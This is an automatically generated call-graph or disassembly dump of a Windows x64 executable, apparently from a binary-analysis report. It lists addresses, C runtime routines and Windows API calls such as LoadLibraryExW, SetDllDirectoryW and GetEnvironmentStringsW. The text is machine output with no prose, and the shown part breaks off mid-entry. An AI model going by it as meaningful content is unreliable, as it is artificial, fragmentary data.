__crtLCMapStringW 6 API calls 19062->19065 19062->19066 19063->19066 19067 7ff6850caf0c __free_lconv_mon 11 API calls 19063->19067 19064->19068 19065->19066 19066->19050 19066->19055 19067->19066 19068->19066 19069 7ff6850cf5a4 __crtLCMapStringW 6 API calls 19068->19069 19070 7ff6850d8390 19069->19070 19070->19063 19071 7ff6850d83b0 19070->19071 19072 7ff6850d83c6 19070->19072 19074 7ff6850d04c8 WideCharToMultiByte 19071->19074 19073 7ff6850d04c8 WideCharToMultiByte 19072->19073 19075 7ff6850d83be 19073->19075 19074->19075 19075->19063 19076 7ff6850d83de 19075->19076 19076->19066 19077 7ff6850caf0c __free_lconv_mon 11 API calls 19076->19077 19077->19066 19079 7ff6850cf1d0 __crtLCMapStringW 5 API calls 19078->19079 19080 7ff6850cf5e2 19079->19080 19081 7ff6850cf5ea 19080->19081 19084 7ff6850cf690 19080->19084 19081->19061 19081->19062 19081->19066 19083 7ff6850cf653 LCMapStringW 19083->19081 19085 7ff6850cf1d0 __crtLCMapStringW 5 API calls 19084->19085 19086 7ff6850cf6be __crtLCMapStringW 19085->19086 19086->19083 19089 7ff6850d6c30 19088->19089 19090 7ff6850d6c19 19088->19090 19089->19090 19093 7ff6850d6c3e 19089->19093 19091 7ff6850c54c4 _get_daylight 11 API calls 19090->19091 19092 7ff6850d6c1e 19091->19092 19094 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 19092->19094 19095 7ff6850c4f98 45 API calls 19093->19095 19096 7ff6850d6c29 19093->19096 19094->19096 19095->19096 19096->18771 19098 7ff6850c4f98 45 API calls 19097->19098 19099 7ff6850d9849 19098->19099 19102 7ff6850d94a0 19099->19102 19105 7ff6850d94ee 19102->19105 19103 7ff6850bbcc0 _wfindfirst32i64 8 API calls 19104 7ff6850d7ad5 19103->19104 19104->18771 19104->18797 19106 7ff6850d9575 19105->19106 19108 7ff6850d9560 GetCPInfo 19105->19108 19112 7ff6850d9579 19105->19112 19107 7ff6850cfc00 _fread_nolock MultiByteToWideChar 19106->19107 19106->19112 19109 7ff6850d960d 19107->19109 19108->19106 19108->19112 19110 7ff6850cdbbc _fread_nolock 12 API calls 19109->19110 19111 7ff6850d9644 19109->19111 19109->19112 19110->19111 19111->19112 19113 7ff6850cfc00 _fread_nolock MultiByteToWideChar 19111->19113 19112->19103 19114 7ff6850d96b2 19113->19114 19115 7ff6850d9794 19114->19115 19116 7ff6850cfc00 _fread_nolock MultiByteToWideChar 19114->19116 19115->19112 19117 7ff6850caf0c __free_lconv_mon 11 API calls 19115->19117 19118 7ff6850d96d8 19116->19118 19117->19112 19118->19115 19119 7ff6850cdbbc _fread_nolock 12 API calls 19118->19119 19120 7ff6850d9705 19118->19120 19119->19120 19120->19115 19121 7ff6850cfc00 _fread_nolock MultiByteToWideChar 19120->19121 19122 7ff6850d977c 19121->19122 19123 7ff6850d9782 19122->19123 19124 7ff6850d979c 19122->19124 19123->19115 19127 7ff6850caf0c __free_lconv_mon 11 API calls 19123->19127 19131 7ff6850cf428 19124->19131 19127->19115 19128 7ff6850d97db 19128->19112 19130 7ff6850caf0c __free_lconv_mon 11 API calls 19128->19130 19129 7ff6850caf0c __free_lconv_mon 11 API calls 19129->19128 19130->19112 19132 7ff6850cf1d0 __crtLCMapStringW 5 API calls 19131->19132 19133 7ff6850cf466 19132->19133 19134 7ff6850cf46e 19133->19134 19135 7ff6850cf690 __crtLCMapStringW 5 API calls 19133->19135 19134->19128 19134->19129 19136 7ff6850cf4d7 CompareStringW 19135->19136 19136->19134 19138 7ff6850d8511 19137->19138 19139 7ff6850d852a HeapSize 19137->19139 19140 7ff6850c54c4 _get_daylight 11 API calls 19138->19140 19141 7ff6850d8516 19140->19141 19142 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 19141->19142 19143 7ff6850d8521 19142->19143 19143->18802 19145 7ff6850d0ed1 19144->19145 19146 7ff6850d0edb 19144->19146 19147 7ff6850cdbbc _fread_nolock 12 API calls 19145->19147 19148 7ff6850d0ee0 19146->19148 19154 7ff6850d0ee7 _get_daylight 19146->19154 19152 7ff6850d0ed9 19147->19152 19149 7ff6850caf0c __free_lconv_mon 11 API calls 19148->19149 19149->19152 19150 7ff6850d0f1a HeapReAlloc 19150->19152 19150->19154 19151 7ff6850d0eed 19153 7ff6850c54c4 _get_daylight 11 API calls 19151->19153 19152->18805 19153->19152 19154->19150 19154->19151 19155 7ff6850d3c00 _get_daylight 2 API calls 19154->19155 19155->19154 19157 7ff6850d9409 __crtLCMapStringW 19156->19157 19158 7ff6850d79be 19157->19158 19159 7ff6850cf428 6 API calls 19157->19159 19158->18869 19158->18870 19159->19158 15236 7ff6850bb4f0 15237 7ff6850bb513 15236->15237 15238 7ff6850bb52f memcpy_s 15236->15238 15239 7ff6850cdbbc 12 API calls 15237->15239 15239->15238 19461 7ff6850daaf4 19464 7ff6850c5378 LeaveCriticalSection 19461->19464 19255 7ff6850da96e 19256 7ff6850da97e 19255->19256 19259 7ff6850c5378 LeaveCriticalSection 19256->19259 15240 7ff6850c9ef1 15252 7ff6850ca968 15240->15252 15257 7ff6850cb710 GetLastError 15252->15257 15258 7ff6850cb734 FlsGetValue 15257->15258 15259 7ff6850cb751 FlsSetValue 15257->15259 15260 7ff6850cb741 15258->15260 15261 7ff6850cb74b 15258->15261 15259->15260 15262 7ff6850cb763 15259->15262 15263 7ff6850cb7bd SetLastError 15260->15263 15261->15259 15264 7ff6850cf158 _get_daylight 11 API calls 15262->15264 15265 7ff6850ca971 15263->15265 15266 7ff6850cb7dd 15263->15266 15267 7ff6850cb772 15264->15267 15279 7ff6850caa9c 15265->15279 15270 7ff6850caa9c __CxxCallCatchBlock 38 API calls 15266->15270 15268 7ff6850cb790 FlsSetValue 15267->15268 15269 7ff6850cb780 FlsSetValue 15267->15269 15272 7ff6850cb7ae 15268->15272 15273 7ff6850cb79c FlsSetValue 15268->15273 15271 7ff6850cb789 15269->15271 15274 7ff6850cb7e2 15270->15274 15275 7ff6850caf0c __free_lconv_mon 11 API calls 15271->15275 15276 7ff6850cb4b8 _get_daylight 11 API calls 15272->15276 15273->15271 15275->15260 15277 7ff6850cb7b6 15276->15277 15278 7ff6850caf0c __free_lconv_mon 11 API calls 15277->15278 15278->15263 15288 7ff6850d3cc0 15279->15288 15322 7ff6850d3c78 15288->15322 15327 7ff6850d0cb8 EnterCriticalSection 15322->15327 15457 7ff6850cfcec 15458 7ff6850cfede 15457->15458 15462 7ff6850cfd2e _isindst 15457->15462 15459 7ff6850c54c4 _get_daylight 11 API calls 15458->15459 15477 7ff6850cfece 15459->15477 15460 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15461 7ff6850cfef9 15460->15461 15462->15458 15463 7ff6850cfdae _isindst 15462->15463 15478 7ff6850d6904 15463->15478 15468 7ff6850cff0a 15470 7ff6850caec4 _wfindfirst32i64 17 API calls 15468->15470 15471 7ff6850cff1e 15470->15471 15475 7ff6850cfe0b 15475->15477 15503 7ff6850d6948 15475->15503 15477->15460 15479 7ff6850d6913 15478->15479 15480 7ff6850cfdcc 15478->15480 15510 7ff6850d0cb8 EnterCriticalSection 15479->15510 15485 7ff6850d5d08 15480->15485 15486 7ff6850d5d11 15485->15486 15487 7ff6850cfde1 15485->15487 15488 7ff6850c54c4 _get_daylight 11 API calls 15486->15488 15487->15468 15491 7ff6850d5d38 15487->15491 15489 7ff6850d5d16 15488->15489 15490 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 15489->15490 15490->15487 15492 7ff6850d5d41 15491->15492 15493 7ff6850cfdf2 15491->15493 15494 7ff6850c54c4 _get_daylight 11 API calls 15492->15494 15493->15468 15497 7ff6850d5d68 15493->15497 15495 7ff6850d5d46 15494->15495 15496 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 15495->15496 15496->15493 15498 7ff6850d5d71 15497->15498 15499 7ff6850cfe03 15497->15499 15500 7ff6850c54c4 _get_daylight 11 API calls 15498->15500 15499->15468 15499->15475 15501 7ff6850d5d76 15500->15501 15502 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 15501->15502 15502->15499 15511 7ff6850d0cb8 EnterCriticalSection 15503->15511 19546 7ff6850ca2e0 19549 7ff6850ca25c 19546->19549 19556 7ff6850d0cb8 EnterCriticalSection 19549->19556 19305 7ff6850cb590 19306 7ff6850cb595 19305->19306 19307 7ff6850cb5aa 19305->19307 19311 7ff6850cb5b0 19306->19311 19312 7ff6850cb5f2 19311->19312 19313 7ff6850cb5fa 19311->19313 19315 7ff6850caf0c __free_lconv_mon 11 API calls 19312->19315 19314 7ff6850caf0c __free_lconv_mon 11 API calls 19313->19314 19316 7ff6850cb607 19314->19316 19315->19313 19317 7ff6850caf0c __free_lconv_mon 11 API calls 19316->19317 19318 7ff6850cb614 19317->19318 19319 7ff6850caf0c __free_lconv_mon 11 API calls 19318->19319 19320 7ff6850cb621 19319->19320 19321 7ff6850caf0c __free_lconv_mon 11 API calls 19320->19321 19322 7ff6850cb62e 19321->19322 19323 7ff6850caf0c __free_lconv_mon 11 API calls 19322->19323 19324 7ff6850cb63b 19323->19324 19325 7ff6850caf0c __free_lconv_mon 11 API calls 19324->19325 19326 7ff6850cb648 19325->19326 19327 7ff6850caf0c __free_lconv_mon 11 API calls 19326->19327 19328 7ff6850cb655 19327->19328 19329 7ff6850caf0c __free_lconv_mon 11 API calls 19328->19329 19330 7ff6850cb665 19329->19330 19331 7ff6850caf0c __free_lconv_mon 11 API calls 19330->19331 19332 7ff6850cb675 19331->19332 19337 7ff6850cb458 19332->19337 19351 7ff6850d0cb8 EnterCriticalSection 19337->19351 15389 7ff6850c9c8c 15390 7ff6850c9ca5 15389->15390 15391 7ff6850c9c9c 15389->15391 15391->15390 15395 7ff6850c979c 15391->15395 15396 7ff6850c97b5 15395->15396 15397 7ff6850c97b1 15395->15397 15416 7ff6850d30ac GetEnvironmentStringsW 15396->15416 15397->15390 15408 7ff6850c9b5c 15397->15408 15400 7ff6850c97c2 15402 7ff6850caf0c __free_lconv_mon 11 API calls 15400->15402 15401 7ff6850c97ce 15423 7ff6850c991c 15401->15423 15402->15397 15405 7ff6850caf0c __free_lconv_mon 11 API calls 15406 7ff6850c97f5 15405->15406 15407 7ff6850caf0c __free_lconv_mon 11 API calls 15406->15407 15407->15397 15409 7ff6850c9b7f 15408->15409 15412 7ff6850c9b96 15408->15412 15409->15390 15410 7ff6850cfc00 MultiByteToWideChar _fread_nolock 15410->15412 15411 7ff6850cf158 _get_daylight 11 API calls 15411->15412 15412->15409 15412->15410 15412->15411 15413 7ff6850c9c0a 15412->15413 15415 7ff6850caf0c __free_lconv_mon 11 API calls 15412->15415 15414 7ff6850caf0c __free_lconv_mon 11 API calls 15413->15414 15414->15409 15415->15412 15417 7ff6850c97ba 15416->15417 15418 7ff6850d30d0 15416->15418 15417->15400 15417->15401 15419 7ff6850cdbbc _fread_nolock 12 API calls 15418->15419 15420 7ff6850d3107 memcpy_s 15419->15420 15421 7ff6850caf0c __free_lconv_mon 11 API calls 15420->15421 15422 7ff6850d3127 FreeEnvironmentStringsW 15421->15422 15422->15417 15424 7ff6850c9944 15423->15424 15425 7ff6850cf158 _get_daylight 11 API calls 15424->15425 15438 7ff6850c997f 15425->15438 15426 7ff6850c9987 15427 7ff6850caf0c __free_lconv_mon 11 API calls 15426->15427 15429 7ff6850c97d6 15427->15429 15428 7ff6850c9a01 15430 7ff6850caf0c __free_lconv_mon 11 API calls 15428->15430 15429->15405 15430->15429 15431 7ff6850cf158 _get_daylight 11 API calls 15431->15438 15432 7ff6850c99f0 15451 7ff6850c9a38 15432->15451 15436 7ff6850caf0c __free_lconv_mon 11 API calls 15436->15426 15437 7ff6850c9a24 15439 7ff6850caec4 _wfindfirst32i64 17 API calls 15437->15439 15438->15426 15438->15428 15438->15431 15438->15432 15438->15437 15440 7ff6850caf0c __free_lconv_mon 11 API calls 15438->15440 15442 7ff6850d0e54 15438->15442 15441 7ff6850c9a36 15439->15441 15440->15438 15443 7ff6850d0e6b 15442->15443 15444 7ff6850d0e61 15442->15444 15445 7ff6850c54c4 _get_daylight 11 API calls 15443->15445 15444->15443 15449 7ff6850d0e87 15444->15449 15446 7ff6850d0e73 15445->15446 15447 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 15446->15447 15448 7ff6850d0e7f 15447->15448 15448->15438 15449->15448 15450 7ff6850c54c4 _get_daylight 11 API calls 15449->15450 15450->15446 15452 7ff6850c9a3d 15451->15452 15453 7ff6850c99f8 15451->15453 15454 7ff6850c9a66 15452->15454 15456 7ff6850caf0c __free_lconv_mon 11 API calls 15452->15456 15453->15436 15455 7ff6850caf0c __free_lconv_mon 11 API calls 15454->15455 15455->15453 15456->15452 19367 7ff6850dab89 19368 7ff6850daba2 19367->19368 19369 7ff6850dab98 19367->19369 19371 7ff6850d0d18 LeaveCriticalSection 19369->19371 15579 7ff6850bc07c 15604 7ff6850bc24c 15579->15604 15582 7ff6850bc1c8 15710 7ff6850bc57c IsProcessorFeaturePresent 15582->15710 15583 7ff6850bc098 __scrt_acquire_startup_lock 15585 7ff6850bc1d2 15583->15585 15586 7ff6850bc0b6 15583->15586 15587 7ff6850bc57c 7 API calls 15585->15587 15596 7ff6850bc0f8 __scrt_release_startup_lock 15586->15596 15612 7ff6850c9dac 15586->15612 15592 7ff6850bc1dd __CxxCallCatchBlock 15587->15592 15590 7ff6850bc0db 15593 7ff6850bc161 15616 7ff6850bc6c8 15593->15616 15595 7ff6850bc166 15619 7ff6850b1000 15595->15619 15596->15593 15699 7ff6850ca0bc 15596->15699 15601 7ff6850bc189 15601->15592 15706 7ff6850bc3e0 15601->15706 15717 7ff6850bc84c 15604->15717 15607 7ff6850bc090 15607->15582 15607->15583 15608 7ff6850bc27b 15719 7ff6850ca91c 15608->15719 15613 7ff6850c9dbf 15612->15613 15614 7ff6850bc0d7 15613->15614 15762 7ff6850bbf90 15613->15762 15614->15590 15695 7ff6850c9d68 15614->15695 15841 7ff6850bd0e0 15616->15841 15620 7ff6850b100b 15619->15620 15843 7ff6850b86b0 15620->15843 15622 7ff6850b101d 15850 7ff6850c5ef8 15622->15850 15624 7ff6850b39cb 15857 7ff6850b1eb0 15624->15857 15628 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15629 7ff6850b3ae6 15628->15629 15704 7ff6850bc70c GetModuleHandleW 15629->15704 15630 7ff6850b39ea 15693 7ff6850b3ad2 15630->15693 15873 7ff6850b7b60 15630->15873 15632 7ff6850b3a1f 15633 7ff6850b3a6b 15632->15633 15634 7ff6850b7b60 61 API calls 15632->15634 15888 7ff6850b8040 15633->15888 15640 7ff6850b3a40 __vcrt_freefls 15634->15640 15636 7ff6850b3a80 15892 7ff6850b1cb0 15636->15892 15639 7ff6850b3b71 15642 7ff6850b3b95 15639->15642 15911 7ff6850b14f0 15639->15911 15640->15633 15644 7ff6850b8040 58 API calls 15640->15644 15641 7ff6850b1cb0 121 API calls 15643 7ff6850b3ab6 15641->15643 15645 7ff6850b3bef 15642->15645 15642->15693 15918 7ff6850b8ae0 15642->15918 15647 7ff6850b3af8 15643->15647 15648 7ff6850b3aba 15643->15648 15644->15633 15932 7ff6850b6de0 15645->15932 15647->15639 16006 7ff6850b3fd0 15647->16006 15993 7ff6850b2b30 15648->15993 15650 7ff6850b3bcc 15653 7ff6850b3bd1 15650->15653 15654 7ff6850b3be2 SetDllDirectoryW 15650->15654 15657 7ff6850b2b30 59 API calls 15653->15657 15654->15645 15657->15693 15660 7ff6850b3b16 15664 7ff6850b2b30 59 API calls 15660->15664 15662 7ff6850b3c09 15687 7ff6850b3c3b 15662->15687 16038 7ff6850b65f0 15662->16038 15663 7ff6850b3b44 15663->15639 15667 7ff6850b3b49 15663->15667 15664->15693 15665 7ff6850b3d06 15936 7ff6850b34c0 15665->15936 16025 7ff6850c018c 15667->16025 15672 7ff6850b3c5a 15678 7ff6850b3ca5 15672->15678 16074 7ff6850b1ef0 15672->16074 15673 7ff6850b3c3d 15677 7ff6850b6840 FreeLibrary 15673->15677 15677->15687 15678->15693 16078 7ff6850b3460 15678->16078 15680 7ff6850b3d2e 15682 7ff6850b7b60 61 API calls 15680->15682 15685 7ff6850b3d3a 15682->15685 15950 7ff6850b8080 15685->15950 15686 7ff6850b3ce1 15689 7ff6850b6840 FreeLibrary 15686->15689 15687->15665 15687->15672 15689->15693 15693->15628 15696 7ff6850c9d9e 15695->15696 15697 7ff6850c9d6d 15695->15697 15696->15596 15697->15696 18555 7ff6850c5310 15697->18555 15700 7ff6850ca0d3 15699->15700 15701 7ff6850ca0f4 15699->15701 15700->15593 15702 7ff6850ca968 45 API calls 15701->15702 15703 7ff6850ca0f9 15702->15703 15705 7ff6850bc71d 15704->15705 15705->15601 15708 7ff6850bc3f1 15706->15708 15707 7ff6850bc1a0 15707->15590 15708->15707 15709 7ff6850bd998 __scrt_initialize_crt 7 API calls 15708->15709 15709->15707 15711 7ff6850bc5a2 _wfindfirst32i64 memcpy_s 15710->15711 15712 7ff6850bc5c1 RtlCaptureContext RtlLookupFunctionEntry 15711->15712 15713 7ff6850bc626 memcpy_s 15712->15713 15714 7ff6850bc5ea RtlVirtualUnwind 15712->15714 15715 7ff6850bc658 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 15713->15715 15714->15713 15716 7ff6850bc6aa _wfindfirst32i64 15715->15716 15716->15585 15718 7ff6850bc26e __scrt_dllmain_crt_thread_attach 15717->15718 15718->15607 15718->15608 15721 7ff6850d3b1c 15719->15721 15720 7ff6850bc280 15720->15607 15723 7ff6850bd998 15720->15723 15721->15720 15729 7ff6850ccae0 15721->15729 15724 7ff6850bd9a0 15723->15724 15725 7ff6850bd9aa 15723->15725 15741 7ff6850bdd14 15724->15741 15725->15607 15740 7ff6850d0cb8 EnterCriticalSection 15729->15740 15742 7ff6850bdd23 15741->15742 15744 7ff6850bd9a5 15741->15744 15749 7ff6850bdf50 15742->15749 15745 7ff6850bdd80 15744->15745 15746 7ff6850bddab 15745->15746 15747 7ff6850bddaf 15746->15747 15748 7ff6850bdd8e DeleteCriticalSection 15746->15748 15747->15725 15748->15746 15753 7ff6850bddb8 15749->15753 15754 7ff6850bded2 TlsFree 15753->15754 15760 7ff6850bddfc __vcrt_InitializeCriticalSectionEx 15753->15760 15755 7ff6850bde2a LoadLibraryExW 15757 7ff6850bdea1 15755->15757 15758 7ff6850bde4b GetLastError 15755->15758 15756 7ff6850bdec1 GetProcAddress 15756->15754 15757->15756 15759 7ff6850bdeb8 FreeLibrary 15757->15759 15758->15760 15759->15756 15760->15754 15760->15755 15760->15756 15761 7ff6850bde6d LoadLibraryExW 15760->15761 15761->15757 15761->15760 15763 7ff6850bbfa0 15762->15763 15779 7ff6850ca138 15763->15779 15765 7ff6850bbfac 15785 7ff6850bc298 15765->15785 15767 7ff6850bc57c 7 API calls 15769 7ff6850bc045 15767->15769 15768 7ff6850bbfc4 _RTC_Initialize 15777 7ff6850bc019 15768->15777 15790 7ff6850bc448 15768->15790 15769->15613 15771 7ff6850bbfd9 15793 7ff6850c95a4 15771->15793 15777->15767 15778 7ff6850bc035 15777->15778 15778->15613 15780 7ff6850ca149 15779->15780 15781 7ff6850c54c4 _get_daylight 11 API calls 15780->15781 15782 7ff6850ca151 15780->15782 15783 7ff6850ca160 15781->15783 15782->15765 15784 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 15783->15784 15784->15782 15786 7ff6850bc2a9 15785->15786 15789 7ff6850bc2ae __scrt_acquire_startup_lock 15785->15789 15787 7ff6850bc57c 7 API calls 15786->15787 15786->15789 15788 7ff6850bc322 15787->15788 15789->15768 15820 7ff6850bc40c 15790->15820 15792 7ff6850bc451 15792->15771 15794 7ff6850bbfe5 15793->15794 15795 7ff6850c95c4 15793->15795 15794->15777 15819 7ff6850bc51c InitializeSListHead 15794->15819 15796 7ff6850c95e2 GetModuleFileNameW 15795->15796 15797 7ff6850c95cc 15795->15797 15801 7ff6850c960d 15796->15801 15798 7ff6850c54c4 _get_daylight 11 API calls 15797->15798 15799 7ff6850c95d1 15798->15799 15800 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 15799->15800 15800->15794 15835 7ff6850c9544 15801->15835 15804 7ff6850c9655 15805 7ff6850c54c4 _get_daylight 11 API calls 15804->15805 15806 7ff6850c965a 15805->15806 15809 7ff6850caf0c __free_lconv_mon 11 API calls 15806->15809 15807 7ff6850c966d 15808 7ff6850c968f 15807->15808 15812 7ff6850c96d4 15807->15812 15813 7ff6850c96bb 15807->15813 15811 7ff6850caf0c __free_lconv_mon 11 API calls 15808->15811 15810 7ff6850c9668 15809->15810 15810->15794 15811->15794 15816 7ff6850caf0c __free_lconv_mon 11 API calls 15812->15816 15814 7ff6850caf0c __free_lconv_mon 11 API calls 15813->15814 15815 7ff6850c96c4 15814->15815 15817 7ff6850caf0c __free_lconv_mon 11 API calls 15815->15817 15816->15808 15818 7ff6850c96d0 15817->15818 15818->15794 15821 7ff6850bc426 15820->15821 15823 7ff6850bc41f 15820->15823 15824 7ff6850ca77c 15821->15824 15823->15792 15827 7ff6850ca3b8 15824->15827 15834 7ff6850d0cb8 EnterCriticalSection 15827->15834 15836 7ff6850c955c 15835->15836 15840 7ff6850c9594 15835->15840 15837 7ff6850cf158 _get_daylight 11 API calls 15836->15837 15836->15840 15838 7ff6850c958a 15837->15838 15839 7ff6850caf0c __free_lconv_mon 11 API calls 15838->15839 15839->15840 15840->15804 15840->15807 15842 7ff6850bc6df GetStartupInfoW 15841->15842 15842->15595 15846 7ff6850b86cf 15843->15846 15844 7ff6850b8720 WideCharToMultiByte 15844->15846 15847 7ff6850b87c6 15844->15847 15845 7ff6850b86d7 __vcrt_freefls 15845->15622 15846->15844 15846->15845 15846->15847 15848 7ff6850b8774 WideCharToMultiByte 15846->15848 16112 7ff6850b29e0 15847->16112 15848->15846 15848->15847 15853 7ff6850d0050 15850->15853 15851 7ff6850d00a3 15852 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 15851->15852 15856 7ff6850d00cc 15852->15856 15853->15851 15854 7ff6850d00f6 15853->15854 16471 7ff6850cff28 15854->16471 15856->15624 15858 7ff6850b1ec5 15857->15858 15859 7ff6850b1ee0 15858->15859 16479 7ff6850b2890 15858->16479 15859->15693 15861 7ff6850b3ec0 15859->15861 15862 7ff6850bbc60 15861->15862 15863 7ff6850b3ecc GetModuleFileNameW 15862->15863 15864 7ff6850b3f12 15863->15864 15865 7ff6850b3efb 15863->15865 16519 7ff6850b8bf0 15864->16519 15866 7ff6850b29e0 57 API calls 15865->15866 15868 7ff6850b3f0e 15866->15868 15871 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15868->15871 15870 7ff6850b2b30 59 API calls 15870->15868 15872 7ff6850b3f4f 15871->15872 15872->15630 15874 7ff6850b7b6a 15873->15874 15875 7ff6850b8ae0 57 API calls 15874->15875 15876 7ff6850b7b8c GetEnvironmentVariableW 15875->15876 15877 7ff6850b7ba4 ExpandEnvironmentStringsW 15876->15877 15878 7ff6850b7bf6 15876->15878 15880 7ff6850b8bf0 59 API calls 15877->15880 15879 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15878->15879 15881 7ff6850b7c08 15879->15881 15882 7ff6850b7bcc 15880->15882 15881->15632 15882->15878 15883 7ff6850b7bd6 15882->15883 16530 7ff6850ca99c 15883->16530 15886 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15887 7ff6850b7bee 15886->15887 15887->15632 15889 7ff6850b8ae0 57 API calls 15888->15889 15890 7ff6850b8057 SetEnvironmentVariableW 15889->15890 15891 7ff6850b806f __vcrt_freefls 15890->15891 15891->15636 15893 7ff6850b1cbe 15892->15893 15894 7ff6850b1ef0 49 API calls 15893->15894 15895 7ff6850b1cf4 15894->15895 15896 7ff6850b1dde 15895->15896 15897 7ff6850b1ef0 49 API calls 15895->15897 15899 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15896->15899 15898 7ff6850b1d1a 15897->15898 15898->15896 16537 7ff6850b1aa0 15898->16537 15900 7ff6850b1e6c 15899->15900 15900->15639 15900->15641 15904 7ff6850b1dcc 15905 7ff6850b3e40 49 API calls 15904->15905 15905->15896 15906 7ff6850b1d8f 15906->15904 15907 7ff6850b1e34 15906->15907 15908 7ff6850b3e40 49 API calls 15907->15908 15909 7ff6850b1e41 15908->15909 16573 7ff6850b4050 15909->16573 15912 7ff6850b157f 15911->15912 15913 7ff6850b1506 15911->15913 15912->15642 16615 7ff6850b7950 15913->16615 15916 7ff6850b2b30 59 API calls 15917 7ff6850b1564 15916->15917 15917->15642 15919 7ff6850b8b01 MultiByteToWideChar 15918->15919 15920 7ff6850b8b87 MultiByteToWideChar 15918->15920 15923 7ff6850b8b27 15919->15923 15924 7ff6850b8b4c 15919->15924 15921 7ff6850b8bcf 15920->15921 15922 7ff6850b8baa 15920->15922 15921->15650 15925 7ff6850b29e0 55 API calls 15922->15925 15926 7ff6850b29e0 55 API calls 15923->15926 15924->15920 15929 7ff6850b8b62 15924->15929 15927 7ff6850b8bbd 15925->15927 15928 7ff6850b8b3a 15926->15928 15927->15650 15928->15650 15930 7ff6850b29e0 55 API calls 15929->15930 15931 7ff6850b8b75 15930->15931 15931->15650 15933 7ff6850b6df5 15932->15933 15934 7ff6850b3bf4 15933->15934 15935 7ff6850b2890 59 API calls 15933->15935 15934->15687 16029 7ff6850b6a90 15934->16029 15935->15934 15939 7ff6850b3533 15936->15939 15942 7ff6850b3574 15936->15942 15937 7ff6850bbcc0 _wfindfirst32i64 8 API calls 15938 7ff6850b35c5 15937->15938 15938->15693 15943 7ff6850b7fd0 15938->15943 15939->15942 17148 7ff6850b1710 15939->17148 17190 7ff6850b2d70 15939->17190 15942->15937 15944 7ff6850b8ae0 57 API calls 15943->15944 15945 7ff6850b7fef 15944->15945 15946 7ff6850b8ae0 57 API calls 15945->15946 15947 7ff6850b7fff 15946->15947 15948 7ff6850c7dec 38 API calls 15947->15948 15949 7ff6850b800d __vcrt_freefls 15948->15949 15949->15680 15951 7ff6850b8090 15950->15951 15952 7ff6850b8ae0 57 API calls 15951->15952 15994 7ff6850b2b50 15993->15994 15995 7ff6850c4ac4 49 API calls 15994->15995 15996 7ff6850b2b9b memcpy_s 15995->15996 15997 7ff6850b8ae0 57 API calls 15996->15997 15998 7ff6850b2bd0 15997->15998 15999 7ff6850b2bd5 15998->15999 16000 7ff6850b2c0d MessageBoxA 15998->16000 16001 7ff6850b8ae0 57 API calls 15999->16001 16002 7ff6850b2c27 16000->16002 16003 7ff6850b2bef MessageBoxW 16001->16003 16004 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16002->16004 16003->16002 16005 7ff6850b2c37 16004->16005 16005->15693 16007 7ff6850b3fdc 16006->16007 16008 7ff6850b8ae0 57 API calls 16007->16008 16009 7ff6850b4007 16008->16009 16010 7ff6850b8ae0 57 API calls 16009->16010 16011 7ff6850b401a 16010->16011 17736 7ff6850c64a8 16011->17736 16014 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16015 7ff6850b3b0e 16014->16015 16015->15660 16016 7ff6850b82b0 16015->16016 16017 7ff6850b82d4 16016->16017 16018 7ff6850c0814 73 API calls 16017->16018 16023 7ff6850b83ab __vcrt_freefls 16017->16023 16019 7ff6850b82ee 16018->16019 16019->16023 18115 7ff6850c9070 16019->18115 16023->15663 16026 7ff6850c01bc 16025->16026 18130 7ff6850bff68 16026->18130 16030 7ff6850b6ab3 16029->16030 16031 7ff6850b6aca 16029->16031 16030->16031 18141 7ff6850b15a0 16030->18141 16031->15662 16033 7ff6850b6ad4 16033->16031 16034 7ff6850b4050 49 API calls 16033->16034 16035 7ff6850b6b35 16034->16035 16036 7ff6850b2b30 59 API calls 16035->16036 16037 7ff6850b6ba5 memcpy_s __vcrt_freefls 16035->16037 16036->16031 16037->15662 16052 7ff6850b660a memcpy_s 16038->16052 16040 7ff6850b672f 16041 7ff6850b4050 49 API calls 16040->16041 16043 7ff6850b67a8 16041->16043 16042 7ff6850b674b 16044 7ff6850b2b30 59 API calls 16042->16044 16047 7ff6850b4050 49 API calls 16043->16047 16050 7ff6850b6741 __vcrt_freefls 16044->16050 16045 7ff6850b4050 49 API calls 16045->16052 16046 7ff6850b6710 16046->16040 16048 7ff6850b4050 49 API calls 16046->16048 16049 7ff6850b67d8 16047->16049 16048->16040 16054 7ff6850b4050 49 API calls 16049->16054 16051 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16050->16051 16053 7ff6850b3c1a 16051->16053 16052->16040 16052->16042 16052->16045 16052->16046 16055 7ff6850b1710 144 API calls 16052->16055 16056 7ff6850b6731 16052->16056 18165 7ff6850b1950 16052->18165 16053->15673 16058 7ff6850b6570 16053->16058 16054->16050 16055->16052 16057 7ff6850b2b30 59 API calls 16056->16057 16057->16050 18169 7ff6850b8260 16058->18169 16060 7ff6850b658c 16061 7ff6850b8260 58 API calls 16060->16061 16062 7ff6850b659f 16061->16062 16063 7ff6850b65d5 16062->16063 16064 7ff6850b65b7 16062->16064 18173 7ff6850b6ef0 GetProcAddress 16064->18173 16075 7ff6850b1f15 16074->16075 16076 7ff6850c4ac4 49 API calls 16075->16076 16077 7ff6850b1f38 16076->16077 16077->15678 18232 7ff6850b5bc0 16078->18232 16081 7ff6850b34ad 16081->15686 16131 7ff6850bbc60 16112->16131 16115 7ff6850b2a29 16133 7ff6850c4ac4 16115->16133 16120 7ff6850b1ef0 49 API calls 16121 7ff6850b2a86 memcpy_s 16120->16121 16122 7ff6850b8ae0 54 API calls 16121->16122 16123 7ff6850b2abb 16122->16123 16124 7ff6850b2ac0 16123->16124 16125 7ff6850b2af8 MessageBoxA 16123->16125 16126 7ff6850b8ae0 54 API calls 16124->16126 16127 